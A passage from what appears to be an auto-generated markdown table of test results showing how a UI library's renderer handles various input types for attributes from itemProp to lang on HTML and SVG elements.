`itemProp=(empty string)`| (changed)| `<empty string>` |\n| `itemProp=(array with string)`| (changed)| `\"string\"` |\n| `itemProp=(empty array)`| (changed)| `<empty string>` |\n| `itemProp=(object)`| (changed)| `\"result of toString()\"` |\n| `itemProp=(numeric string)`| (changed)| `\"42\"` |\n| `itemProp=(-1)`| (changed)| `\"-1\"` |\n| `itemProp=(0)`| (changed)| `\"0\"` |\n| `itemProp=(integer)`| (changed)| `\"1\"` |\n| `itemProp=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `itemProp=(float)`| (changed)| `\"99.99\"` |\n| `itemProp=(true)`| (initial, warning)| `<null>` |\n| `itemProp=(false)`| (initial, warning)| `<null>` |\n| `itemProp=(string 'true')`| (changed)| `\"true\"` |\n| `itemProp=(string 'false')`| (changed)| `\"false\"` |\n| `itemProp=(string 'on')`| (changed)| `\"on\"` |\n| `itemProp=(string 'off')`| (changed)| `\"off\"` |\n| `itemProp=(symbol)`| (initial, warning)| `<null>` |\n| `itemProp=(function)`| (initial, warning)| `<null>` |\n| `itemProp=(null)`| (initial)| `<null>` |\n| `itemProp=(undefined)`| (initial)| `<null>` |\n\n## `itemRef` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `itemRef=(string)`| (changed)| `\"a string\"` |\n| `itemRef=(empty string)`| (changed)| `<empty string>` |\n| `itemRef=(array with string)`| (changed)| `\"string\"` |\n| `itemRef=(empty array)`| (changed)| `<empty string>` |\n| `itemRef=(object)`| (changed)| `\"result of toString()\"` |\n| `itemRef=(numeric string)`| (changed)| `\"42\"` |\n| `itemRef=(-1)`| (changed)| `\"-1\"` |\n| `itemRef=(0)`| (changed)| `\"0\"` |\n| `itemRef=(integer)`| (changed)| `\"1\"` |\n| `itemRef=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `itemRef=(float)`| (changed)| `\"99.99\"` |\n| `itemRef=(true)`| (initial, warning)| `<null>` |\n| `itemRef=(false)`| (initial, warning)| `<null>` |\n| `itemRef=(string 'true')`| (changed)| `\"true\"` |\n| `itemRef=(string 'false')`| (changed)| `\"false\"` |\n| `itemRef=(string 'on')`| (changed)| `\"on\"` |\n| `itemRef=(string 'off')`| (changed)| `\"off\"` |\n| `itemRef=(symbol)`| (initial, warning)| `<null>` |\n| `itemRef=(function)`| (initial, warning)| `<null>` |\n| `itemRef=(null)`| (initial)| `<null>` |\n| `itemRef=(undefined)`| (initial)| `<null>` |\n\n## `itemScope` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `itemScope=(string)`| (changed)| `<empty string>` |\n| `itemScope=(empty string)`| (initial)| `<null>` |\n| `itemScope=(array with string)`| (changed)| `<empty string>` |\n| `itemScope=(empty array)`| (changed)| `<empty string>` |\n| `itemScope=(object)`| (changed)| `<empty string>` |\n| `itemScope=(numeric string)`| (changed)| `<empty string>` |\n| `itemScope=(-1)`| (changed)| `<empty string>` |\n| `itemScope=(0)`| (initial)| `<null>` |\n| `itemScope=(integer)`| (changed)| `<empty string>` |\n| `itemScope=(NaN)`| (initial, warning)| `<null>` |\n| `itemScope=(float)`| (changed)| `<empty string>` |\n| `itemScope=(true)`| (changed)| `<empty string>` |\n| `itemScope=(false)`| (initial)| `<null>` |\n| `itemScope=(string 'true')`| (changed, warning)| `<empty string>` |\n| `itemScope=(string 'false')`| (changed, warning)| `<empty string>` |\n| `itemScope=(string 'on')`| (changed)| `<empty string>` |\n| `itemScope=(string 'off')`| (changed)| `<empty string>` |\n| `itemScope=(symbol)`| (initial, warning)| `<null>` |\n| `itemScope=(function)`| (initial, warning)| `<null>` |\n| `itemScope=(null)`| (initial)| `<null>` |\n| `itemScope=(undefined)`| (initial)| `<null>` |\n\n## `itemType` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `itemType=(string)`| (changed)| `\"a string\"` |\n| `itemType=(empty string)`| (changed)| `<empty string>` |\n| `itemType=(array with string)`| (changed)| `\"string\"` |\n| `itemType=(empty array)`| (changed)| `<empty string>` |\n| `itemType=(object)`| (changed)| `\"result of toString()\"` |\n| `itemType=(numeric string)`| (changed)| `\"42\"` |\n| `itemType=(-1)`| (changed)| `\"-1\"` |\n| `itemType=(0)`| (changed)| `\"0\"` |\n| `itemType=(integer)`| (changed)| `\"1\"` |\n| `itemType=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `itemType=(float)`| (changed)| `\"99.99\"` |\n| `itemType=(true)`| (initial, warning)| `<null>` |\n| `itemType=(false)`| (initial, warning)| `<null>` |\n| `itemType=(string 'true')`| (changed)| `\"true\"` |\n| `itemType=(string 'false')`| (changed)| `\"false\"` |\n| `itemType=(string 'on')`| (changed)| `\"on\"` |\n| `itemType=(string 'off')`| (changed)| `\"off\"` |\n| `itemType=(symbol)`| (initial, warning)| `<null>` |\n| `itemType=(function)`| (initial, warning)| `<null>` |\n| `itemType=(null)`| (initial)| `<null>` |\n| `itemType=(undefined)`| (initial)| `<null>` |\n\n## `k` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `k=(string)`| (changed)| `\"a string\"` |\n| `k=(empty string)`| (changed)| `<empty string>` |\n| `k=(array with string)`| (changed)| `\"string\"` |\n| `k=(empty array)`| (changed)| `<empty string>` |\n| `k=(object)`| (changed)| `\"result of toString()\"` |\n| `k=(numeric string)`| (changed)| `\"42\"` |\n| `k=(-1)`| (changed)| `\"-1\"` |\n| `k=(0)`| (changed)| `\"0\"` |\n| `k=(integer)`| (changed)| `\"1\"` |\n| `k=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `k=(float)`| (changed)| `\"99.99\"` |\n| `k=(true)`| (initial, warning)| `<null>` |\n| `k=(false)`| (initial, warning)| `<null>` |\n| `k=(string 'true')`| (changed)| `\"true\"` |\n| `k=(string 'false')`| (changed)| `\"false\"` |\n| `k=(string 'on')`| (changed)| `\"on\"` |\n| `k=(string 'off')`| (changed)| `\"off\"` |\n| `k=(symbol)`| (initial, warning)| `<null>` |\n| `k=(function)`| (initial, warning)| `<null>` |\n| `k=(null)`| (initial)| `<null>` |\n| `k=(undefined)`| (initial)| `<null>` |\n\n## `K` (on `<hkern>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `K=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(true)`| (initial, warning)| `<null>` |\n| `K=(false)`| (initial, warning)| `<null>` |\n| `K=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(string 'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `K=(symbol)`| (initial, warning)| `<null>` |\n| `K=(function)`| (initial, warning)| `<null>` |\n| `K=(null)`| (initial, warning)| `<null>` |\n| `K=(undefined)`| (initial, warning)| `<null>` |\n\n## `K1` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `K1=(string)`| (initial, warning)| `<number: 0>` |\n| `K1=(empty string)`| (initial, warning)| `<number: 0>` |\n| `K1=(array with string)`| (initial, warning)| `<number: 0>` |\n| `K1=(empty array)`| (initial, warning)| `<number: 0>` |\n| `K1=(object)`| (initial, warning)| `<number: 0>` |\n| `K1=(numeric string)`| (initial, warning, ssr mismatch)| `<number: 0>` |\n| `K1=(-1)`| (initial, warning, ssr mismatch)| `<number: 0>` |\n| `K1=(0)`| (initial, warning)| `<number: 0>` |\n| `K1=(integer)`| (initial, warning, ssr mismatch)| `<number: 0>` |\n| `K1=(NaN)`| (initial, warning)| `<number: 0>` |\n| `K1=(float)`| (initial, warning, ssr mismatch)| `<number: 0>` |\n| `K1=(true)`| (initial, warning)| `<number: 0>` |\n| `K1=(false)`| (initial, warning)| `<number: 0>` |\n| `K1=(string 'true')`| (initial, warning)| `<number: 0>` |\n| `K1=(string 'false')`| (initial, warning)| `<number: 0>` |\n| `K1=(string 'on')`| (initial, warning)| `<number: 0>` |\n| `K1=(string 'off')`| (initial, warning)| `<number: 0>` |\n| `K1=(symbol)`| (initial, warning)| `<number: 0>` |\n| `K1=(function)`| (initial, warning)| `<number: 0>` |\n| `K1=(null)`| (initial, warning)| `<number: 0>` |\n| `K1=(undefined)`| (initial, warning)| `<number: 0>` |\n\n## `k1` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `k1=(string)`| (initial)| `<number: 0>` |\n| `k1=(empty string)`| (initial)| `<number: 0>` |\n| `k1=(array with string)`| (initial)| `<number: 0>` |\n| `k1=(empty array)`| (initial)| `<number: 0>` |\n| `k1=(object)`| (initial)| `<number: 0>` |\n| `k1=(numeric string)`| (changed)| `<number: 42>` |\n| `k1=(-1)`| (changed)| `<number: -1>` |\n| `k1=(0)`| (initial)| `<number: 0>` |\n| `k1=(integer)`| (changed)| `<number: 1>` |\n| `k1=(NaN)`| (initial, warning)| `<number: 0>` |\n| `k1=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `k1=(true)`| (initial, warning)| `<number: 0>` |\n| `k1=(false)`| (initial, warning)| `<number: 0>` |\n| `k1=(string 'true')`| (initial)| `<number: 0>` |\n| `k1=(string 'false')`| (initial)| `<number: 0>` |\n| `k1=(string 'on')`| (initial)| `<number: 0>` |\n| `k1=(string 'off')`| (initial)| `<number: 0>` |\n| `k1=(symbol)`| (initial, warning)| `<number: 0>` |\n| `k1=(function)`| (initial, warning)| `<number: 0>` |\n| `k1=(null)`| (initial)| `<number: 0>` |\n| `k1=(undefined)`| (initial)| `<number: 0>` |\n\n## `k2` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `k2=(string)`| (initial)| `<number: 0>` |\n| `k2=(empty string)`| (initial)| `<number: 0>` |\n| `k2=(array with string)`| (initial)| `<number: 0>` |\n| `k2=(empty array)`| (initial)| `<number: 0>` |\n| `k2=(object)`| (initial)| `<number: 0>` |\n| `k2=(numeric string)`| (changed)| `<number: 42>` |\n| `k2=(-1)`| (changed)| `<number: -1>` |\n| `k2=(0)`| (initial)| `<number: 0>` |\n| `k2=(integer)`| (changed)| `<number: 1>` |\n| `k2=(NaN)`| (initial, warning)| `<number: 0>` |\n| `k2=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `k2=(true)`| (initial, warning)| `<number: 0>` |\n| `k2=(false)`| (initial, warning)| `<number: 0>` |\n| `k2=(string 'true')`| (initial)| `<number: 0>` |\n| `k2=(string 'false')`| (initial)| `<number: 0>` |\n| `k2=(string 'on')`| (initial)| `<number: 0>` |\n| `k2=(string 'off')`| (initial)| `<number: 0>` |\n| `k2=(symbol)`| (initial, warning)| `<number: 0>` |\n| `k2=(function)`| (initial, warning)| `<number: 0>` |\n| `k2=(null)`| (initial)| `<number: 0>` |\n| `k2=(undefined)`| (initial)| `<number: 0>` |\n\n## `k3` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `k3=(string)`| (initial)| `<number: 0>` |\n| `k3=(empty string)`| (initial)| `<number: 0>` |\n| `k3=(array with string)`| (initial)| `<number: 0>` |\n| `k3=(empty array)`| (initial)| `<number: 0>` |\n| `k3=(object)`| (initial)| `<number: 0>` |\n| `k3=(numeric string)`| (changed)| `<number: 42>` |\n| `k3=(-1)`| (changed)| `<number: -1>` |\n| `k3=(0)`| (initial)| `<number: 0>` |\n| `k3=(integer)`| (changed)| `<number: 1>` |\n| `k3=(NaN)`| (initial, warning)| `<number: 0>` |\n| `k3=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `k3=(true)`| (initial, warning)| `<number: 0>` |\n| `k3=(false)`| (initial, warning)| `<number: 0>` |\n| `k3=(string 'true')`| (initial)| `<number: 0>` |\n| `k3=(string 'false')`| (initial)| `<number: 0>` |\n| `k3=(string 'on')`| (initial)| `<number: 0>` |\n| `k3=(string 'off')`| (initial)| `<number: 0>` |\n| `k3=(symbol)`| (initial, warning)| `<number: 0>` |\n| `k3=(function)`| (initial, warning)| `<number: 0>` |\n| `k3=(null)`| (initial)| `<number: 0>` |\n| `k3=(undefined)`| (initial)| `<number: 0>` |\n\n## `k4` (on `<feComposite>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `k4=(string)`| (initial)| `<number: 0>` |\n| `k4=(empty string)`| (initial)| `<number: 0>` |\n| `k4=(array with string)`| (initial)| `<number: 0>` |\n| `k4=(empty array)`| (initial)| `<number: 0>` |\n| `k4=(object)`| (initial)| `<number: 0>` |\n| `k4=(numeric string)`| (changed)| `<number: 42>` |\n| `k4=(-1)`| (changed)| `<number: -1>` |\n| `k4=(0)`| (initial)| `<number: 0>` |\n| `k4=(integer)`| (changed)| `<number: 1>` |\n| `k4=(NaN)`| (initial, warning)| `<number: 0>` |\n| `k4=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `k4=(true)`| (initial, warning)| `<number: 0>` |\n| `k4=(false)`| (initial, warning)| `<number: 0>` |\n| `k4=(string 'true')`| (initial)| `<number: 0>` |\n| `k4=(string 'false')`| (initial)| `<number: 0>` |\n| `k4=(string 'on')`| (initial)| `<number: 0>` |\n| `k4=(string 'off')`| (initial)| `<number: 0>` |\n| `k4=(symbol)`| (initial, warning)| `<number: 0>` |\n| `k4=(function)`| (initial, warning)| `<number: 0>` |\n| `k4=(null)`| (initial)| `<number: 0>` |\n| `k4=(undefined)`| (initial)| `<number: 0>` |\n\n## `kernelMatrix` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `kernelMatrix=(string)`| (changed)| `[1, 2, 3, 4]` |\n| `kernelMatrix=(empty string)`| (initial)| `[]` |\n| `kernelMatrix=(array with string)`| (changed)| `[1, 2, 3, 4]` |\n| `kernelMatrix=(empty array)`| (initial)| `[]` |\n| `kernelMatrix=(object)`| (initial)| `[]` |\n| `kernelMatrix=(numeric string)`| (changed)| `[42]` |\n| `kernelMatrix=(-1)`| (changed)| `[-1]` |\n| `kernelMatrix=(0)`| (changed)| `[0]` |\n| `kernelMatrix=(integer)`| (changed)| `[1]` |\n| `kernelMatrix=(NaN)`| (initial, warning)| `[]` |\n| `kernelMatrix=(float)`| (changed)| `[99.98999786376953]` |\n| `kernelMatrix=(true)`| (initial, warning)| `[]` |\n| `kernelMatrix=(false)`| (initial, warning)| `[]` |\n| `kernelMatrix=(string 'true')`| (initial)| `[]` |\n| `kernelMatrix=(string 'false')`| (initial)| `[]` |\n| `kernelMatrix=(string 'on')`| (initial)| `[]` |\n| `kernelMatrix=(string 'off')`| (initial)| `[]` |\n| `kernelMatrix=(symbol)`| (initial, warning)| `[]` |\n| `kernelMatrix=(function)`| (initial, warning)| `[]` |\n| `kernelMatrix=(null)`| (initial)| `[]` |\n| `kernelMatrix=(undefined)`| (initial)| `[]` |\n\n## `kernelUnitLength` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `kernelUnitLength=(string)`| (changed)| `\"a string\"` |\n| `kernelUnitLength=(empty string)`| (changed)| `<empty string>` |\n| `kernelUnitLength=(array with string)`| (changed)| `\"string\"` |\n| `kernelUnitLength=(empty array)`| (changed)| `<empty string>` |\n| `kernelUnitLength=(object)`| (changed)| `\"result of toString()\"` |\n| `kernelUnitLength=(numeric string)`| (changed)| `\"42\"` |\n| `kernelUnitLength=(-1)`| (changed)| `\"-1\"` |\n| `kernelUnitLength=(0)`| (changed)| `\"0\"` |\n| `kernelUnitLength=(integer)`| (changed)| `\"1\"` |\n| `kernelUnitLength=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `kernelUnitLength=(float)`| (changed)| `\"99.99\"` |\n| `kernelUnitLength=(true)`| (initial, warning)| `<null>` |\n| `kernelUnitLength=(false)`| (initial, warning)| `<null>` |\n| `kernelUnitLength=(string 'true')`| (changed)| `\"true\"` |\n| `kernelUnitLength=(string 'false')`| (changed)| `\"false\"` |\n| `kernelUnitLength=(string 'on')`| (changed)| `\"on\"` |\n| `kernelUnitLength=(string 'off')`| (changed)| `\"off\"` |\n| `kernelUnitLength=(symbol)`| (initial, warning)| `<null>` |\n| `kernelUnitLength=(function)`| (initial, warning)| `<null>` |\n| `kernelUnitLength=(null)`| (initial)| `<null>` |\n| `kernelUnitLength=(undefined)`| (initial)| `<null>` |\n\n## `kerning` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `kerning=(string)`| (changed)| `\"a string\"` |\n| `kerning=(empty string)`| (changed)| `<empty string>` |\n| `kerning=(array with string)`| (changed)| `\"string\"` |\n| `kerning=(empty array)`| (changed)| `<empty string>` |\n| `kerning=(object)`| (changed)| `\"result of toString()\"` |\n| `kerning=(numeric string)`| (changed)| `\"42\"` |\n| `kerning=(-1)`| (changed)| `\"-1\"` |\n| `kerning=(0)`| (changed)| `\"0\"` |\n| `kerning=(integer)`| (changed)| `\"1\"` |\n| `kerning=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `kerning=(float)`| (changed)| `\"99.99\"` |\n| `kerning=(true)`| (initial, warning)| `<null>` |\n| `kerning=(false)`| (initial, warning)| `<null>` |\n| `kerning=(string 'true')`| (changed)| `\"true\"` |\n| `kerning=(string 'false')`| (changed)| `\"false\"` |\n| `kerning=(string 'on')`| (changed)| `\"on\"` |\n| `kerning=(string 'off')`| (changed)| `\"off\"` |\n| `kerning=(symbol)`| (initial, warning)| `<null>` |\n| `kerning=(function)`| (initial, warning)| `<null>` |\n| `kerning=(null)`| (initial)| `<null>` |\n| `kerning=(undefined)`| (initial)| `<null>` |\n\n## `keyParams` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `keyParams=(string)`| (changed)| `\"a string\"` |\n| `keyParams=(empty string)`| (changed)| `<empty string>` |\n| `keyParams=(array with string)`| (changed)| `\"string\"` |\n| `keyParams=(empty array)`| (changed)| `<empty string>` |\n| `keyParams=(object)`| (changed)| `\"result of toString()\"` |\n| `keyParams=(numeric string)`| (changed)| `\"42\"` |\n| `keyParams=(-1)`| (changed)| `\"-1\"` |\n| `keyParams=(0)`| (changed)| `\"0\"` |\n| `keyParams=(integer)`| (changed)| `\"1\"` |\n| `keyParams=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `keyParams=(float)`| (changed)| `\"99.99\"` |\n| `keyParams=(true)`| (initial, warning)| `<null>` |\n| `keyParams=(false)`| (initial, warning)| `<null>` |\n| `keyParams=(string 'true')`| (changed)| `\"true\"` |\n| `keyParams=(string 'false')`| (changed)| `\"false\"` |\n| `keyParams=(string 'on')`| (changed)| `\"on\"` |\n| `keyParams=(string 'off')`| (changed)| `\"off\"` |\n| `keyParams=(symbol)`| (initial, warning)| `<null>` |\n| `keyParams=(function)`| (initial, warning)| `<null>` |\n| `keyParams=(null)`| (initial)| `<null>` |\n| `keyParams=(undefined)`| (initial)| `<null>` |\n\n## `keyPoints` (on `<animateMotion>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `keyPoints=(string)`| (changed)| `\"a string\"` |\n| `keyPoints=(empty string)`| (changed)| `<empty string>` |\n| `keyPoints=(array with string)`| (changed)| `\"string\"` |\n| `keyPoints=(empty array)`| (changed)| `<empty string>` |\n| `keyPoints=(object)`| (changed)| `\"result of toString()\"` |\n| `keyPoints=(numeric string)`| (changed)| `\"42\"` |\n| `keyPoints=(-1)`| (changed)| `\"-1\"` |\n| `keyPoints=(0)`| (changed)| `\"0\"` |\n| `keyPoints=(integer)`| (changed)| `\"1\"` |\n| `keyPoints=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `keyPoints=(float)`| (changed)| `\"99.99\"` |\n| `keyPoints=(true)`| (initial, warning)| `<null>` |\n| `keyPoints=(false)`| (initial, warning)| `<null>` |\n| `keyPoints=(string 'true')`| (changed)| `\"true\"` |\n| `keyPoints=(string 'false')`| (changed)| `\"false\"` |\n| `keyPoints=(string 'on')`| (changed)| `\"on\"` |\n| `keyPoints=(string 'off')`| (changed)| `\"off\"` |\n| `keyPoints=(symbol)`| (initial, warning)| `<null>` |\n| `keyPoints=(function)`| (initial, warning)| `<null>` |\n| `keyPoints=(null)`| (initial)| `<null>` |\n| `keyPoints=(undefined)`| (initial)| `<null>` |\n\n## `keySplines` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `keySplines=(string)`| (changed)| `\"a string\"` |\n| `keySplines=(empty string)`| (changed)| `<empty string>` |\n| `keySplines=(array with string)`| (changed)| `\"string\"` |\n| `keySplines=(empty array)`| (changed)| `<empty string>` |\n| `keySplines=(object)`| (changed)| `\"result of toString()\"` |\n| `keySplines=(numeric string)`| (changed)| `\"42\"` |\n| `keySplines=(-1)`| (changed)| `\"-1\"` |\n| `keySplines=(0)`| (changed)| `\"0\"` |\n| `keySplines=(integer)`| (changed)| `\"1\"` |\n| `keySplines=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `keySplines=(float)`| (changed)| `\"99.99\"` |\n| `keySplines=(true)`| (initial, warning)| `<null>` |\n| `keySplines=(false)`| (initial, warning)| `<null>` |\n| `keySplines=(string 'true')`| (changed)| `\"true\"` |\n| `keySplines=(string 'false')`| (changed)| `\"false\"` |\n| `keySplines=(string 'on')`| (changed)| `\"on\"` |\n| `keySplines=(string 'off')`| (changed)| `\"off\"` |\n| `keySplines=(symbol)`| (initial, warning)| `<null>` |\n| `keySplines=(function)`| (initial, warning)| `<null>` |\n| `keySplines=(null)`| (initial)| `<null>` |\n| `keySplines=(undefined)`| (initial)| `<null>` |\n\n## `keyTimes` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `keyTimes=(string)`| (changed)| `\"a string\"` |\n| `keyTimes=(empty string)`| (changed)| `<empty string>` |\n| `keyTimes=(array with string)`| (changed)| `\"string\"` |\n| `keyTimes=(empty array)`| (changed)| `<empty string>` |\n| `keyTimes=(object)`| (changed)| `\"result of toString()\"` |\n| `keyTimes=(numeric string)`| (changed)| `\"42\"` |\n| `keyTimes=(-1)`| (changed)| `\"-1\"` |\n| `keyTimes=(0)`| (changed)| `\"0\"` |\n| `keyTimes=(integer)`| (changed)| `\"1\"` |\n| `keyTimes=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `keyTimes=(float)`| (changed)| `\"99.99\"` |\n| `keyTimes=(true)`| (initial, warning)| `<null>` |\n| `keyTimes=(false)`| (initial, warning)| `<null>` |\n| `keyTimes=(string 'true')`| (changed)| `\"true\"` |\n| `keyTimes=(string 'false')`| (changed)| `\"false\"` |\n| `keyTimes=(string 'on')`| (changed)| `\"on\"` |\n| `keyTimes=(string 'off')`| (changed)| `\"off\"` |\n| `keyTimes=(symbol)`| (initial, warning)| `<null>` |\n| `keyTimes=(function)`| (initial, warning)| `<null>` |\n| `keyTimes=(null)`| (initial)| `<null>` |\n| `keyTimes=(undefined)`| (initial)| `<null>` |\n\n## `keyType` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `keyType=(string)`| (changed)| `\"a string\"` |\n| `keyType=(empty string)`| (changed)| `<empty string>` |\n| `keyType=(array with string)`| (changed)| `\"string\"` |\n| `keyType=(empty array)`| (changed)| `<empty string>` |\n| `keyType=(object)`| (changed)| `\"result of toString()\"` |\n| `keyType=(numeric string)`| (changed)| `\"42\"` |\n| `keyType=(-1)`| (changed)| `\"-1\"` |\n| `keyType=(0)`| (changed)| `\"0\"` |\n| `keyType=(integer)`| (changed)| `\"1\"` |\n| `keyType=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `keyType=(float)`| (changed)| `\"99.99\"` |\n| `keyType=(true)`| (initial, warning)| `<null>` |\n| `keyType=(false)`| (initial, warning)| `<null>` |\n| `keyType=(string 'true')`| (changed)| `\"true\"` |\n| `keyType=(string 'false')`| (changed)| `\"false\"` |\n| `keyType=(string 'on')`| (changed)| `\"on\"` |\n| `keyType=(string 'off')`| (changed)| `\"off\"` |\n| `keyType=(symbol)`| (initial, warning)| `<null>` |\n| `keyType=(function)`| (initial, warning)| `<null>` |\n| `keyType=(null)`| (initial)| `<null>` |\n| `keyType=(undefined)`| (initial)| `<null>` |\n\n## `kind` (on `<track>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `kind=(string)`| (changed)| `\"captions\"` |\n| `kind=(empty string)`| (changed)| `\"metadata\"` |\n| `kind=(array with string)`| (changed)| `\"captions\"` |\n| `kind=(empty array)`| (changed)| `\"metadata\"` |\n| `kind=(object)`| (changed)| `\"metadata\"` |\n| `kind=(numeric string)`| (changed)| `\"metadata\"` |\n| `kind=(-1)`| (changed)| `\"metadata\"` |\n| `kind=(0)`| (changed)| `\"metadata\"` |\n| `kind=(integer)`| (changed)| `\"metadata\"` |\n| `kind=(NaN)`| (changed, warning)| `\"metadata\"` |\n| `kind=(float)`| (changed)| `\"metadata\"` |\n| `kind=(true)`| (initial, warning)| `\"subtitles\"` |\n| `kind=(false)`| (initial, warning)| `\"subtitles\"` |\n| `kind=(string 'true')`| (changed)| `\"metadata\"` |\n| `kind=(string 'false')`| (changed)| `\"metadata\"` |\n| `kind=(string 'on')`| (changed)| `\"metadata\"` |\n| `kind=(string 'off')`| (changed)| `\"metadata\"` |\n| `kind=(symbol)`| (initial, warning)| `\"subtitles\"` |\n| `kind=(function)`| (initial, warning)| `\"subtitles\"` |\n| `kind=(null)`| (initial)| `\"subtitles\"` |\n| `kind=(undefined)`| (initial)| `\"subtitles\"` |\n\n## `label` (on `<track>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `label=(string)`| (changed)| `\"a string\"` |\n| `label=(empty string)`| (initial)| `<empty string>` |\n| `label=(array with string)`| (changed)| `\"string\"` |\n| `label=(empty array)`| (initial)| `<empty string>` |\n| `label=(object)`| (changed)| `\"result of toString()\"` |\n| `label=(numeric string)`| (changed)| `\"42\"` |\n| `label=(-1)`| (changed)| `\"-1\"` |\n| `label=(0)`| (changed)| `\"0\"` |\n| `label=(integer)`| (changed)| `\"1\"` |\n| `label=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `label=(float)`| (changed)| `\"99.99\"` |\n| `label=(true)`| (initial, warning)| `<empty string>` |\n| `label=(false)`| (initial, warning)| `<empty string>` |\n| `label=(string 'true')`| (changed)| `\"true\"` |\n| `label=(string 'false')`| (changed)| `\"false\"` |\n| `label=(string 'on')`| (changed)| `\"on\"` |\n| `label=(string 'off')`| (changed)| `\"off\"` |\n| `label=(symbol)`| (initial, warning)| `<empty string>` |\n| `label=(function)`| (initial, warning)| `<empty string>` |\n| `label=(null)`| (initial)| `<empty string>` |\n| `label=(undefined)`| (initial)| `<empty string>` |\n\n## `LANG` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `LANG=(string)`| (changed, warning)| `\"a string\"` |\n| `LANG=(empty string)`| (initial, warning)| `<empty string>` |\n| `LANG=(array with string)`| (changed, warning)| `\"string\"` |\n| `LANG=(empty array)`| (initial, warning)| `<empty string>` |\n| `LANG=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `LANG=(numeric string)`| (changed, warning)| `\"42\"` |\n| `LANG=(-1)`| (changed, warning)| `\"-1\"` |\n| `LANG=(0)`| (changed, warning)| `\"0\"` |\n| `LANG=(integer)`| (changed, warning)| `\"1\"` |\n| `LANG=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `LANG=(float)`| (changed, warning)| `\"99.99\"` |\n| `LANG=(true)`| (initial, warning)| `<empty string>` |\n| `LANG=(false)`| (initial, warning)| `<empty string>` |\n| `LANG=(string 'true')`| (changed, warning)| `\"true\"` |\n| `LANG=(string 'false')`| (changed, warning)| `\"false\"` |\n| `LANG=(string 'on')`| (changed, warning)| `\"on\"` |\n| `LANG=(string 'off')`| (changed, warning)| `\"off\"` |\n| `LANG=(symbol)`| (initial, warning)| `<empty string>` |\n| `LANG=(function)`| (initial, warning)| `<empty string>` |\n| `LANG=(null)`| (initial, warning)| `<empty string>` |\n| `LANG=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `lang` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `lang=(string)`| (changed)| `\"a string\"` |\n| `lang=(empty string)`| (initial)| `<empty string>` |\n| `lang=(array with string)`| (changed)| `\"string\"` |\n| `lang=(empty array)`| (initial)| `<empty string>` |\n| `lang=(object)`| (changed)| `\"result of toString()\"` |\n| `lang=(numeric string)`| (changed)| `\"42\"` |\n| `lang=(-1)`| (changed)| `\"-1\"` |\n| `lang=(0)`| (changed)| `\"0\"` |\n| `lang=(integer)`| (changed)| `\"1\"` |\n| `lang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `lang=(float)`| (changed)| `\"99.99\"` |\n| `lang=(true)`| (initial, warning)| `<empty string>` |\n| `lang=(false)`| 